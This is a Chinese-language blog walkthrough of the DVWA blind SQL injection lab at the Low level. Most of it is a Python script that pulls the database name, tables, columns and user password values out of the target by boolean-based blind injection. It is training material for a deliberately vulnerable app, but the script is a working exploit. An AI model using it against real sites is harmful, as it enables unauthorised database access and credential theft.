SQL Injection (Blind)

最新推荐文章于 2024-09-11 15:12:03 发布

左小生

最新推荐文章于 2024-09-11 15:12:03 发布

阅读量356

点赞数 9

分类专栏： DVWA 文章标签： sql 数据库

本文链接：https://blog.csdn.net/2301_78637299/article/details/139273407

版权

DVWA 专栏收录该内容

8 篇文章 0 订阅

订阅专栏

一.Low篇；

1.进入DVWA；

（账号：admin 密码：password）

2.将等级改为Low；

进入SQL Injection（Blind），分别输入1,1',a分别查看结果；

经过尝试可知其为数字型注入；

根据源码

3.使用脚本进行爆破；

这里需要学习python,可以慢慢学习，先借用大佬的脚步进行爆破

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

import requests

# 脚本里用到的参数
# databaseLen   库名长度
# databse_name  库名
# tableNum      表的数量
# tableLen      表名长度
# table_name    表名

s = requests.Session()

url = '--------------------------'#这里需要填写自己的

payloads = 'abcdefghijklmnopqrstuvwxyz1234567890_'
# 这里为节约时间只包含小写字母与数字，实际可能还有大写字母与符号

headers = {'Cookie': 'PHPSESSID=5m3soj7e5vvd2g9ffci0vb2fm6; security=low'}
# 因为dvwa需要登陆，所以要在头部里加入cookie
# 可以使用Burp
# 1.先爆破库名的长度，以提高后续循环的效率,也可以不爆破长度，直接爆破名称（只要循环数大于长度）
for j in range(1, 50):
    databaseLen_payload = '?id=1\' and length(database())=' + str(j) + ' %23&Submit=Submit#'
    # 所有payload里的注释#要用url编码表示，因为这是直接添加在url里的
    if 'User ID exists in the database.' in s.get(url + databaseLen_payload, headers=headers).text:
        databaseLen = j
        break
print('database_lenth: ' + str(databaseLen))

# 2.爆库名
databse_name = ''
for j in range(1, databaseLen + 1):
    for i in payloads:
        databse_payload = '?id=1\' and substr(database(),' + str(j) + ',1)=\'' + str(i) + '\' %23&Submit=Submit#'
        #print(databse_payload)
        if 'User ID exists in the database.' in s.get(url + databse_payload, headers=headers).text:
            databse_name += i
            break

print('database_name: ' + databse_name)

# 3.爆破表的个数
for j in range(1, 50):
    tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())=' + str(
        j) + ' %23&Submit=Submit#'
    if 'User ID exists in the database.' in s.get(url + tableNum_payload, headers=headers).text:
        tableNum = j
        break
print('tableNum: ' + str(tableNum))

# 4.爆出所有的表名
# (1)爆出各个表名的长度
for j in range(0, tableNum):
    table_name = ''
    for i in range(1, 50):
        tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit ' + str(
            j) + ',1),1))=' + str(i) + ' %23&Submit=Submit#'
        # 用法substr('This is a test', 6) 返回'is a test'
        if 'User ID exists in the database.' in s.get(url + tableLen_payload, headers=headers).text:
            tableLen = i
            print('table' + str(j + 1) + '_length: ' + str(tableLen))

            # (2)内部循环爆破每个表的表名
            for m in range(1, tableLen + 1):
                for n in payloads:  # i在上个循环用过了
                    table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit ' + str(
                        j) + ',1),' + str(m) + ',1)=\'' + str(n) + '\' %23&Submit=Submit#'
                    if 'User ID exists in the database.' in s.get(url + table_payload, headers=headers).text:
                        table_name += n
                        break
            print('table' + str(j + 1) + '_name: ' + table_name)
columnNum = 0
for j in range(50):
    #选取users表进行爆破
    columnNum_payload = '?id=1\' and (select count(column_name) from information_schema.columns where table_name=\'users\' AND TABLE_SCHEMA =\'dvwa\' )=' + str(
        j) + ' %23&Submit=Submit#'
    #print(columnNum_payload)
    if 'User ID exists in the database.' in s.get(url + columnNum_payload, headers=headers).text:
        columnNum = j
        break
print('columnNum: ' + str(columnNum))

# 2.爆出每个字段名的长度
for j in range(0, columnNum):
    column_name = ''
    for i in range(1, 50):
        columnLen_payload = '?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'users\' limit ' + str(
            j) + ',1),1))=' + str(i) + ' %23&Submit=Submit#'
        if 'User ID exists in the database.' in s.get(url + columnLen_payload, headers=headers).text:
            columnLen = i
            print('column' + str(j + 1) + '_length: ' + str(columnLen))

            # (2)内部循环爆破每个表的表名
            for m in range(1, columnLen + 1):
                for n in payloads:  # i在上个循环用过了
                    column_payload = '?id=1\' and substr((select column_name from information_schema.columns where table_name=\'users\' limit ' + str(
                        j) + ',1),' + str(m) + ',1)=\'' + str(n) + '\' %23&Submit=Submit#'
                    if 'User ID exists in the database.' in s.get(url + column_payload, headers=headers).text:
                        column_name += n
                        break
            print('column' + str(j + 1) + '_name: ' + column_name)
rowNum = 0
for j in range(50):
    rowNum_payload = '?id=1\' and (select count(*) from users)='+str(j)+' %23&Submit=Submit#'
    if 'User ID exists in the database.' in s.get(url+rowNum_payload, headers=headers).text:
        rowNum = j
print("row_number: "+str(rowNum))


# 先爆每个字段值长度，以便控制循环，提高效率，也可省略此步骤，但要保证循环大于字段长度
for j in range(0,rowNum+1):

    rowContent = ''
    for i in range(50):
       #rowLen_payload = '?id=1\' and length(substr(select flag from flagishere limit '+str(j)+',1),1)='+str(i)+' %23&Submit=Submit#'
        rowLen_payload = '?id=1\' and length(substr((select password from users limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
        if 'User ID exists in the database.' in s.get(url+rowLen_payload, headers=headers).text:
            rowLen = i
            print('row'+str(j+1)+'_length: '+str(rowLen))
            #爆出个字段内容
            for m in range(1,rowLen+1):
                for n in payloads:
                    rowContent_payload = '?id=1\' and substr((select password from users limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
                    if 'User ID exists in the database.' in s.get(url+rowContent_payload, headers=headers).text:
                        rowContent += n
                        break
            print('row'+str(j+1)+'_content: '+rowContent)

在终端运行即可获取到库名，表名，列名等；